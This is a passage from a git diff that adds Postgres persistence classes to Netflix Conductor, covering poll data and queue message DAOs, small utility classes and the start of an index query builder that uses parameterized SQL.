+ if (logger.isTraceEnabled()) { + logger.trace("Refreshed {} TaskDefs", taskDefCache.size()); + } + }); + } catch (Exception e) { + Monitors.error(CLASS_NAME, "refreshTaskDefs"); + logger.error("refresh TaskDefs failed ", e); + } + } + + /** + * Query persistence for all defined {@link TaskDef} data. + * + * @param tx The {@link Connection} to use for queries. + * @return A new {@code List} with all the {@code TaskDef} data that was retrieved. + */ + private List findAllTaskDefs(Connection tx) { + final String READ_ALL_TASKDEF_QUERY = "SELECT json_data FROM meta_task_def"; + + return query(tx, READ_ALL_TASKDEF_QUERY, q -> q.executeAndFetch(TaskDef.class)); + } + + /** + * Explicitly retrieves a {@link TaskDef} from persistence, avoiding {@link #taskDefCache}. + * + * @param name The name of the {@code TaskDef} to query for. + * @return {@literal null} if nothing is found, otherwise the {@code TaskDef}. + */ + private TaskDef getTaskDefFromDB(String name) { + final String READ_ONE_TASKDEF_QUERY = "SELECT json_data FROM meta_task_def WHERE name = ?"; + + return queryWithTransaction( + READ_ONE_TASKDEF_QUERY, + q -> q.addParameter(name).executeAndFetchFirst(TaskDef.class)); + } + + private String insertOrUpdateTaskDef(TaskDef taskDef) { + final String UPDATE_TASKDEF_QUERY = + "UPDATE meta_task_def SET json_data = ?, modified_on = CURRENT_TIMESTAMP WHERE name = ?"; + + final String INSERT_TASKDEF_QUERY = + "INSERT INTO meta_task_def (name, json_data) VALUES (?, ?)"; + + return getWithRetriedTransactions( + tx -> { + execute( + tx, + UPDATE_TASKDEF_QUERY, + update -> { + int result = + update.addJsonParameter(taskDef) + .addParameter(taskDef.getName()) + .executeUpdate(); + if (result == 0) { + execute( + tx, + INSERT_TASKDEF_QUERY, + insert -> + insert.addParameter(taskDef.getName()) + .addJsonParameter(taskDef) + .executeUpdate()); + } + }); + + taskDefCache.put(taskDef.getName(), taskDef); + return taskDef.getName(); + }); + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAO.java new file mode 100644 index 0000000..e14f9b7 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAO.java @@ -0,0 +1,229 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.postgres.config.PostgresProperties; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; +import jakarta.annotation.PostConstruct; +import jakarta.annotation.PreDestroy; + +public class PostgresPollDataDAO extends PostgresBaseDAO implements PollDataDAO { + + private ConcurrentHashMap> pollDataCache = + new ConcurrentHashMap<>(); + + private ScheduledExecutorService flushExecutor; + + private long pollDataFlushInterval; + + private long cacheValidityPeriod; + + private long lastFlushTime = 0; + + private boolean useReadCache; + + public PostgresPollDataDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + PostgresProperties properties) { + super(retryTemplate, objectMapper, dataSource); + this.pollDataFlushInterval = properties.getPollDataFlushInterval().toMillis(); + if (this.pollDataFlushInterval > 0) { + logger.info("Using Postgres pollData write cache"); + } + this.cacheValidityPeriod = properties.getPollDataCacheValidityPeriod().toMillis(); + this.useReadCache = cacheValidityPeriod > 0; + if (this.useReadCache) { + logger.info("Using Postgres pollData read cache"); + } + } + + @PostConstruct + public void schedulePollDataRefresh() { + if (pollDataFlushInterval > 0) { + flushExecutor = Executors.newSingleThreadScheduledExecutor(); + flushExecutor.scheduleWithFixedDelay( + this::flushData, + pollDataFlushInterval, + pollDataFlushInterval, + TimeUnit.MILLISECONDS); + } + } + + @PreDestroy + public void shutdown() { + if (flushExecutor != null) { + flushExecutor.shutdownNow(); + } + } + + @Override + public void updateLastPollData(String taskDefName, String domain, String workerId) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + + String effectiveDomain = domain == null ? "DEFAULT" : domain; + PollData pollData = new PollData(taskDefName, domain, workerId, System.currentTimeMillis()); + + if (pollDataFlushInterval > 0) { + ConcurrentHashMap domainPollData = pollDataCache.get(taskDefName); + if (domainPollData == null) { + domainPollData = new ConcurrentHashMap<>(); + pollDataCache.put(taskDefName, domainPollData); + } + domainPollData.put(effectiveDomain, pollData); + } else { + withTransaction(tx -> insertOrUpdatePollData(tx, pollData, effectiveDomain)); + } + } + + @Override + public PollData getPollData(String taskDefName, String domain) { + PollData result; + + if (useReadCache) { + ConcurrentHashMap domainPollData = pollDataCache.get(taskDefName); + if (domainPollData == null) { + return null; + } + result = domainPollData.get(domain == null ? "DEFAULT" : domain); + long diffSeconds = System.currentTimeMillis() - result.getLastPollTime(); + if (diffSeconds < cacheValidityPeriod) { + return result; + } + } + + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + String effectiveDomain = (domain == null) ? "DEFAULT" : domain; + return getWithRetriedTransactions(tx -> readPollData(tx, taskDefName, effectiveDomain)); + } + + @Override + public List getPollData(String taskDefName) { + Preconditions.checkNotNull(taskDefName, "taskDefName name cannot be null"); + return readAllPollData(taskDefName); + } + + @Override + public List getAllPollData() { + try (Connection tx = dataSource.getConnection()) { + boolean previousAutoCommitMode = tx.getAutoCommit(); + tx.setAutoCommit(true); + try { + String GET_ALL_POLL_DATA = "SELECT json_data FROM poll_data ORDER BY queue_name"; + return query(tx, GET_ALL_POLL_DATA, q -> q.executeAndFetch(PollData.class)); + } catch (Throwable th) { + throw new NonTransientException(th.getMessage(), th); + } finally { + tx.setAutoCommit(previousAutoCommitMode); + } + } catch (SQLException ex) { + throw new NonTransientException(ex.getMessage(), ex); + } + } + + public long getLastFlushTime() { + return lastFlushTime; + } + + private void insertOrUpdatePollData(Connection connection, PollData pollData, String domain) { + try { + /* + * Most times the row will be updated so let's try the update first. This used to be an 'INSERT/ON CONFLICT do update' sql statement. The problem with that + * is that if we try the INSERT first, the sequence will be increased even if the ON CONFLICT happens. Since polling happens *a lot*, the sequence can increase + * dramatically even though it won't be used. + */ + String UPDATE_POLL_DATA = + "UPDATE poll_data SET json_data=?, modified_on=CURRENT_TIMESTAMP WHERE queue_name=? AND domain=?"; + int rowsUpdated = + query( + connection, + UPDATE_POLL_DATA, + q -> + q.addJsonParameter(pollData) + .addParameter(pollData.getQueueName()) + .addParameter(domain) + .executeUpdate()); + + if (rowsUpdated == 0) { + String INSERT_POLL_DATA = + "INSERT INTO poll_data (queue_name, domain, json_data, modified_on) VALUES (?, ?, ?, CURRENT_TIMESTAMP) ON CONFLICT (queue_name,domain) DO UPDATE SET json_data=excluded.json_data, modified_on=excluded.modified_on"; + execute( + connection, + INSERT_POLL_DATA, + q -> + q.addParameter(pollData.getQueueName()) + .addParameter(domain) + .addJsonParameter(pollData) + .executeUpdate()); + } + } catch (NonTransientException e) { + if (!e.getMessage().startsWith("ERROR: lastPollTime cannot be set to a lower value")) { + throw e; + } + } + } + + private PollData readPollData(Connection connection, String queueName, String domain) { + String GET_POLL_DATA = + "SELECT json_data FROM poll_data WHERE queue_name = ? AND domain = ?"; + return query( + connection, + GET_POLL_DATA, + q -> + q.addParameter(queueName) + .addParameter(domain) + .executeAndFetchFirst(PollData.class)); + } + + private List readAllPollData(String queueName) { + String GET_ALL_POLL_DATA = "SELECT json_data FROM poll_data WHERE queue_name = ?"; + return queryWithTransaction( + GET_ALL_POLL_DATA, q -> q.addParameter(queueName).executeAndFetch(PollData.class)); + } + + private void flushData() { + try { + for (Map.Entry> queue : + pollDataCache.entrySet()) { + for (Map.Entry domain : queue.getValue().entrySet()) { + withTransaction( + tx -> { + insertOrUpdatePollData(tx, domain.getValue(), domain.getKey()); + }); + } + } + lastFlushTime = System.currentTimeMillis(); + } catch (Exception e) { + logger.error("Postgres pollData cache flush failed ", e); + } + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresQueueDAO.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresQueueDAO.java new file mode 100644 index 0000000..a33b91b --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/dao/PostgresQueueDAO.java @@ -0,0 +1,545 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.util.*; +import java.util.concurrent.Executors; +import java.util.concurrent.ScheduledExecutorService; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.postgres.config.PostgresProperties; +import com.netflix.conductor.postgres.util.ExecutorsUtil; +import com.netflix.conductor.postgres.util.PostgresQueueListener; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.Maps; +import com.google.common.util.concurrent.Uninterruptibles; +import jakarta.annotation.*; + +public class PostgresQueueDAO extends PostgresBaseDAO implements QueueDAO { + + private static final Long UNACK_SCHEDULE_MS = 60_000L; + + private final ScheduledExecutorService scheduledExecutorService; + + private PostgresQueueListener queueListener; + + public PostgresQueueDAO( + RetryTemplate retryTemplate, + ObjectMapper objectMapper, + DataSource dataSource, + PostgresProperties properties) { + super(retryTemplate, objectMapper, dataSource); + + this.scheduledExecutorService = + Executors.newSingleThreadScheduledExecutor( + ExecutorsUtil.newNamedThreadFactory("postgres-queue-")); + this.scheduledExecutorService.scheduleAtFixedRate( + this::processAllUnacks, + UNACK_SCHEDULE_MS, + UNACK_SCHEDULE_MS, + TimeUnit.MILLISECONDS); + logger.debug("{} is ready to serve", PostgresQueueDAO.class.getName()); + + if (properties.getExperimentalQueueNotify()) { + this.queueListener = new PostgresQueueListener(dataSource, properties); + } + } + + @PreDestroy + public void destroy() { + try { + this.scheduledExecutorService.shutdown(); + if (scheduledExecutorService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + scheduledExecutorService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledExecutorService for processAllUnacks", + ie); + scheduledExecutorService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + public void push(String queueName, String messageId, long offsetTimeInSecond) { + push(queueName, messageId, 0, offsetTimeInSecond); + } + + @Override + public void push(String queueName, String messageId, int priority, long offsetTimeInSecond) { + withTransaction( + tx -> pushMessage(tx, queueName, messageId, null, priority, offsetTimeInSecond)); + } + + @Override + public void push(String queueName, List messages) { + withTransaction( + tx -> + messages.forEach( + message -> + pushMessage( + tx, + queueName, + message.getId(), + message.getPayload(), + message.getPriority(), + 0))); + } + + @Override + public boolean pushIfNotExists(String queueName, String messageId, long offsetTimeInSecond) { + return pushIfNotExists(queueName, messageId, 0, offsetTimeInSecond); + } + + @Override + public boolean pushIfNotExists( + String queueName, String messageId, int priority, long offsetTimeInSecond) { + return getWithRetriedTransactions( + tx -> { + if (!existsMessage(tx, queueName, messageId)) { + pushMessage(tx, queueName, messageId, null, priority, offsetTimeInSecond); + return true; + } + return false; + }); + } + + @Override + public List pop(String queueName, int count, int timeout) { + return pollMessages(queueName, count, timeout).stream() + .map(Message::getId) + .collect(Collectors.toList()); + } + + @Override + public List peekFirstIds(String queueName, int count) { + final String SQL = + "SELECT message_id FROM queue_message " + + "WHERE queue_name = ? AND popped = false " + + "ORDER BY deliver_on, priority DESC, created_on LIMIT ?"; + return queryWithTransaction( + SQL, + q -> q.addParameter(queueName).addParameter(count).executeScalarList(String.class)); + } + + @Override + public List pollMessages(String queueName, int count, int timeout) { + if (timeout < 1) { + List messages = + getWithTransactionWithOutErrorPropagation( + tx -> popMessages(tx, queueName, count, timeout)); + if (messages == null) { + return new ArrayList<>(); + } + return messages; + } + + long start = System.currentTimeMillis(); + final List messages = new ArrayList<>(); + + while (true) { + List messagesSlice = + getWithTransactionWithOutErrorPropagation( + tx -> popMessages(tx, queueName, count - messages.size(), timeout)); + if (messagesSlice == null) { + logger.warn( + "Unable to poll {} messages from {} due to tx conflict, only {} popped", + count, + queueName, + messages.size()); + // conflict could have happened, returned messages popped so far + return messages; + } + + messages.addAll(messagesSlice); + if (messages.size() >= count || ((System.currentTimeMillis() - start) > timeout)) { + return messages; + } + Uninterruptibles.sleepUninterruptibly(100, TimeUnit.MILLISECONDS); + } + } + + @Override + public void remove(String queueName, String messageId) { + withTransaction(tx -> removeMessage(tx, queueName, messageId)); + } + + @Override + public int getSize(String queueName) { + if (queueListener != null) { + Optional size = queueListener.getSize(queueName); + if (size.isPresent()) { + return size.get(); + } + } + + final String GET_QUEUE_SIZE = "SELECT COUNT(*) FROM queue_message WHERE queue_name = ?"; + return queryWithTransaction( + GET_QUEUE_SIZE, q -> ((Long) q.addParameter(queueName).executeCount()).intValue()); + } + + @Override + public boolean ack(String queueName, String messageId) { + return getWithRetriedTransactions(tx -> removeMessage(tx, queueName, messageId)); + } + + @Override + public boolean setUnackTimeout(String queueName, String messageId, long unackTimeout) { + long updatedOffsetTimeInSecond = unackTimeout / 1000; + + final String UPDATE_UNACK_TIMEOUT = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = (current_timestamp + (? ||' seconds')::interval) WHERE queue_name = ? AND message_id = ?"; + + return queryWithTransaction( + UPDATE_UNACK_TIMEOUT, + q -> + q.addParameter(updatedOffsetTimeInSecond) + .addParameter(updatedOffsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate()) + == 1; + } + + @Override + public boolean setUnackTimeoutIfShorter(String queueName, String messageId, long unackTimeout) { + long updatedOffsetTimeInSecond = unackTimeout / 1000; + + // Only update when the proposed deliver_on is earlier than what is already set, + // mirroring the ZADD LT semantics used by the Redis implementation. + final String UPDATE_UNACK_TIMEOUT_IF_SHORTER = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = (current_timestamp + (? ||' seconds')::interval)" + + " WHERE queue_name = ? AND message_id = ? AND deliver_on > (current_timestamp + (? ||' seconds')::interval)"; + + return queryWithTransaction( + UPDATE_UNACK_TIMEOUT_IF_SHORTER, + q -> + q.addParameter(updatedOffsetTimeInSecond) + .addParameter(updatedOffsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .addParameter(updatedOffsetTimeInSecond) + .executeUpdate()) + == 1; + } + + @Override + public void flush(String queueName) { + final String FLUSH_QUEUE = "DELETE FROM queue_message WHERE queue_name = ?"; + executeWithTransaction(FLUSH_QUEUE, q -> q.addParameter(queueName).executeDelete()); + } + + @Override + public Map queuesDetail() { + final String GET_QUEUES_DETAIL = + "SELECT queue_name, (SELECT count(*) FROM queue_message WHERE popped = false AND queue_name = q.queue_name) AS size FROM queue q FOR SHARE SKIP LOCKED"; + return queryWithTransaction( + GET_QUEUES_DETAIL, + q -> + q.executeAndFetch( + rs -> { + Map detail = Maps.newHashMap(); + while (rs.next()) { + String queueName = rs.getString("queue_name"); + Long size = rs.getLong("size"); + detail.put(queueName, size); + } + return detail; + })); + } + + @Override + public Map>> queuesDetailVerbose() { + // @formatter:off + final String GET_QUEUES_DETAIL_VERBOSE = + "SELECT queue_name, \n" + + " (SELECT count(*) FROM queue_message WHERE popped = false AND queue_name = q.queue_name) AS size,\n" + + " (SELECT count(*) FROM queue_message WHERE popped = true AND queue_name = q.queue_name) AS uacked \n" + + "FROM queue q FOR SHARE SKIP LOCKED"; + // @formatter:on + + return queryWithTransaction( + GET_QUEUES_DETAIL_VERBOSE, + q -> + q.executeAndFetch( + rs -> { + Map>> result = + Maps.newHashMap(); + while (rs.next()) { + String queueName = rs.getString("queue_name"); + Long size = rs.getLong("size"); + Long queueUnacked = rs.getLong("uacked"); + result.put( + queueName, + ImmutableMap.of( + "a", + ImmutableMap + .of( // sharding not implemented, + // returning only + // one shard with all the + // info + "size", + size, + "uacked", + queueUnacked))); + } + return result; + })); + } + + /** + * Un-pop all un-acknowledged messages for all queues. + * + * @since 1.11.6 + */ + public void processAllUnacks() { + logger.trace("processAllUnacks started"); + + getWithRetriedTransactions( + tx -> { + String LOCK_TASKS = + "SELECT queue_name, message_id FROM queue_message WHERE popped = true AND (deliver_on + (60 ||' seconds')::interval) < current_timestamp limit 1000 FOR UPDATE SKIP LOCKED"; + + List messages = + query( + tx, + LOCK_TASKS, + p -> + p.executeAndFetch( + rs -> { + List results = + new ArrayList(); + while (rs.next()) { + QueueMessage qm = new QueueMessage(); + qm.queueName = + rs.getString("queue_name"); + qm.messageId = + rs.getString("message_id"); + results.add(qm); + } + return results; + })); + + if (messages.size() == 0) { + return 0; + } + + Map> queueMessageMap = new HashMap>(); + for (QueueMessage qm : messages) { + if (!queueMessageMap.containsKey(qm.queueName)) { + queueMessageMap.put(qm.queueName, new ArrayList()); + } + queueMessageMap.get(qm.queueName).add(qm.messageId); + } + + int totalUnacked = 0; + for (String queueName : queueMessageMap.keySet()) { + Integer unacked = 0; + ; + try { + final List msgIds = queueMessageMap.get(queueName); + final String UPDATE_POPPED = + String.format( + "UPDATE queue_message SET popped = false WHERE queue_name = ? and message_id IN (%s)", + Query.generateInBindings(msgIds.size())); + + unacked = + query( + tx, + UPDATE_POPPED, + q -> + q.addParameter(queueName) + .addParameters(msgIds) + .executeUpdate()); + } catch (Exception e) { + e.printStackTrace(); + } + totalUnacked += unacked; + logger.debug("Unacked {} messages from all queues", unacked); + } + + if (totalUnacked > 0) { + logger.debug("Unacked {} messages from all queues", totalUnacked); + } + return totalUnacked; + }); + } + + @Override + public void processUnacks(String queueName) { + final String PROCESS_UNACKS = + "UPDATE queue_message SET popped = false WHERE queue_name = ? AND popped = true AND (current_timestamp - (60 ||' seconds')::interval) > deliver_on"; + executeWithTransaction(PROCESS_UNACKS, q -> q.addParameter(queueName).executeUpdate()); + } + + @Override + public boolean resetOffsetTime(String queueName, String messageId) { + long offsetTimeInSecond = 0; // Reset to 0 + final String SET_OFFSET_TIME = + "UPDATE queue_message SET offset_time_seconds = ?, deliver_on = (current_timestamp + (? ||' seconds')::interval) \n" + + "WHERE queue_name = ? AND message_id = ?"; + + return queryWithTransaction( + SET_OFFSET_TIME, + q -> + q.addParameter(offsetTimeInSecond) + .addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate() + == 1); + } + + private boolean existsMessage(Connection connection, String queueName, String messageId) { + final String EXISTS_MESSAGE = + "SELECT EXISTS(SELECT 1 FROM queue_message WHERE queue_name = ? AND message_id = ?) FOR SHARE"; + return query( + connection, + EXISTS_MESSAGE, + q -> q.addParameter(queueName).addParameter(messageId).exists()); + } + + private void pushMessage( + Connection connection, + String queueName, + String messageId, + String payload, + Integer priority, + long offsetTimeInSecond) { + + createQueueIfNotExists(connection, queueName); + + String UPDATE_MESSAGE = + "UPDATE queue_message SET payload=?, deliver_on=(current_timestamp + (? ||' seconds')::interval) WHERE queue_name = ? AND message_id = ?"; + int rowsUpdated = + query( + connection, + UPDATE_MESSAGE, + q -> + q.addParameter(payload) + .addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .executeUpdate()); + + if (rowsUpdated == 0) { + String PUSH_MESSAGE = + "INSERT INTO queue_message (deliver_on, queue_name, message_id, priority, offset_time_seconds, payload) VALUES ((current_timestamp + (? ||' seconds')::interval), ?,?,?,?,?) ON CONFLICT (queue_name,message_id) DO UPDATE SET payload=excluded.payload, deliver_on=excluded.deliver_on"; + execute( + connection, + PUSH_MESSAGE, + q -> + q.addParameter(offsetTimeInSecond) + .addParameter(queueName) + .addParameter(messageId) + .addParameter(priority) + .addParameter(offsetTimeInSecond) + .addParameter(payload) + .executeUpdate()); + } + } + + private boolean removeMessage(Connection connection, String queueName, String messageId) { + final String REMOVE_MESSAGE = + "DELETE FROM queue_message WHERE queue_name = ? AND message_id = ?"; + return query( + connection, + REMOVE_MESSAGE, + q -> q.addParameter(queueName).addParameter(messageId).executeDelete()); + } + + private List popMessages( + Connection connection, String queueName, int count, int timeout) { + + if (this.queueListener != null) { + if (!this.queueListener.hasMessagesReady(queueName)) { + return new ArrayList<>(); + } + } + + String POP_QUERY = + "WITH cte AS (" + + " SELECT queue_name, message_id " + + " FROM queue_message " + + " WHERE queue_name = ? " + + " AND popped = false " + + " AND deliver_on <= (current_timestamp + (1000 || ' microseconds')::interval) " + + " ORDER BY deliver_on, priority DESC, created_on " + + " LIMIT ? " + + " FOR UPDATE SKIP LOCKED " + + ") " + + "UPDATE queue_message " + + " SET popped = true " + + " FROM cte " + + " WHERE queue_message.queue_name = cte.queue_name " + + " AND queue_message.message_id = cte.message_id " + + " AND queue_message.popped = false " + + " RETURNING queue_message.message_id, queue_message.priority, queue_message.payload"; + + return query( + connection, + POP_QUERY, + p -> + p.addParameter(queueName) + .addParameter(count) + .executeAndFetch( + rs -> { + List results = new ArrayList<>(); + while (rs.next()) { + Message m = new Message(); + m.setId(rs.getString("message_id")); + m.setPriority(rs.getInt("priority")); + m.setPayload(rs.getString("payload")); + results.add(m); + } + return results; + })); + } + + @Override + public boolean containsMessage(String queueName, String messageId) { + return getWithRetriedTransactions(tx -> existsMessage(tx, queueName, messageId)); + } + + private void createQueueIfNotExists(Connection connection, String queueName) { + logger.trace("Creating new queue '{}'", queueName); + final String EXISTS_QUEUE = + "SELECT EXISTS(SELECT 1 FROM queue WHERE queue_name = ?) FOR SHARE"; + boolean exists = query(connection, EXISTS_QUEUE, q -> q.addParameter(queueName).exists()); + if (!exists) { + final String CREATE_QUEUE = + "INSERT INTO queue (queue_name) VALUES (?) ON CONFLICT (queue_name) DO NOTHING"; + execute(connection, CREATE_QUEUE, q -> q.addParameter(queueName).executeUpdate()); + } + } + + private class QueueMessage { + public String queueName; + public String messageId; + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecuteFunction.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecuteFunction.java new file mode 100644 index 0000000..1deaa0c --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecuteFunction.java @@ -0,0 +1,26 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.SQLException; + +/** + * Functional interface for {@link Query} executions with no expected result. + * + * @author mustafa + */ +@FunctionalInterface +public interface ExecuteFunction { + + void apply(Query query) throws SQLException; +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecutorsUtil.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecutorsUtil.java new file mode 100644 index 0000000..84824cb --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/ExecutorsUtil.java @@ -0,0 +1,37 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.atomic.AtomicInteger; + +public class ExecutorsUtil { + + private ExecutorsUtil() {} + + public static ThreadFactory newNamedThreadFactory(final String threadNamePrefix) { + return new ThreadFactory() { + + private final AtomicInteger counter = new AtomicInteger(); + + @SuppressWarnings("NullableProblems") + @Override + public Thread newThread(Runnable r) { + Thread thread = Executors.defaultThreadFactory().newThread(r); + thread.setName(threadNamePrefix + counter.getAndIncrement()); + return thread; + } + }; + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/LazyToString.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/LazyToString.java new file mode 100644 index 0000000..03d35c3 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/LazyToString.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.util.function.Supplier; + +/** Functional class to support the lazy execution of a String result. */ +public class LazyToString { + + private final Supplier supplier; + + /** + * @param supplier Supplier to execute when {@link #toString()} is called. + */ + public LazyToString(Supplier supplier) { + this.supplier = supplier; + } + + @Override + public String toString() { + return supplier.get(); + } +} diff --git a/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilder.java b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilder.java new file mode 100644 index 0000000..c599d44 --- /dev/null +++ b/postgres-persistence/src/main/java/com/netflix/conductor/postgres/util/PostgresIndexQueryBuilder.java @@ -0,0 +1,284 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.util; + +import java.sql.SQLException; +import java.time.Instant; +import java.time.ZoneOffset; +import java.time.ZonedDateTime; +import java.time.format.DateTimeFormatter; +import java.util.*; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.workflow.WorkflowClassifier; +import com.netflix.conductor.postgres.config.PostgresProperties; + +public class PostgresIndexQueryBuilder { + + private final String table; + private final String freeText; + private final int start; + private final int count; + private final List sort; + private final List conditions = new ArrayList<>(); + + private boolean allowJsonQueries; + + private boolean allowFullTextQueries; + + private static final String[] VALID_FIELDS = { + "workflow_id", + "correlation_id", + "workflow_type", + "start_time", + "status", + "task_id", + "task_type", + "task_def_name", + "update_time", + "json_data", + "parent_workflow_id", + "classifier", + "jsonb_to_tsvector('english', json_data, '[\"all\"]')" + }; + + private static final String[] VALID_SORT_ORDER = {"ASC", "DESC"}; + + private static class Condition { + private String attribute; + private String operator; + private List values; + private final String CONDITION_REGEX = "([a-zA-Z]+)\\s?(=|>|<|IN)\\s?(.*)"; + + public Condition() {} + + public Condition(String query) { + Pattern conditionRegex = Pattern.compile(CONDITION_REGEX); + Matcher conditionMatcher = conditionRegex.matcher(query); + if (conditionMatcher.find()) { + String[] valueArr = conditionMatcher.group(3).replaceAll("[\"'()]", "").split(","); + ArrayList values = new ArrayList<>(Arrays.asList(valueArr)); + this.attribute = camelToSnake(conditionMatcher.group(1)); + this.values = values; + this.operator = getOperator(conditionMatcher.group(2)); + if (this.attribute.endsWith("_time")) { + values.set(0, millisToUtc(values.get(0))); + } + } else { + throw new IllegalArgumentException("Incorrectly formatted query string: " + query); + } + } + + public String getQueryFragment() { + if (operator.equals("IN")) { + if (classifierMatchesUntagged()) { + return "(" + attribute + " = ANY(?) OR " + attribute + " IS NULL)"; + } + return attribute + " = ANY(?)"; + } else if (operator.equals("@@")) { + return attribute + " @@ to_tsquery(?)"; + } else if (operator.equals("@>")) { + return attribute + " @> ?::JSONB"; + } else { + if (attribute.endsWith("_time")) { + return attribute + " " + operator + " ?::TIMESTAMPTZ"; + } else if (operator.equals("=") + && values.size() == 1 + && values.get(0).contains("*")) { + return attribute + " LIKE ?"; + } else if (operator.equals("=") && classifierMatchesUntagged()) { + return "(" + attribute + " = ? OR " + attribute + " IS NULL)"; + } else { + return attribute + " " + operator + " ?"; + } + } 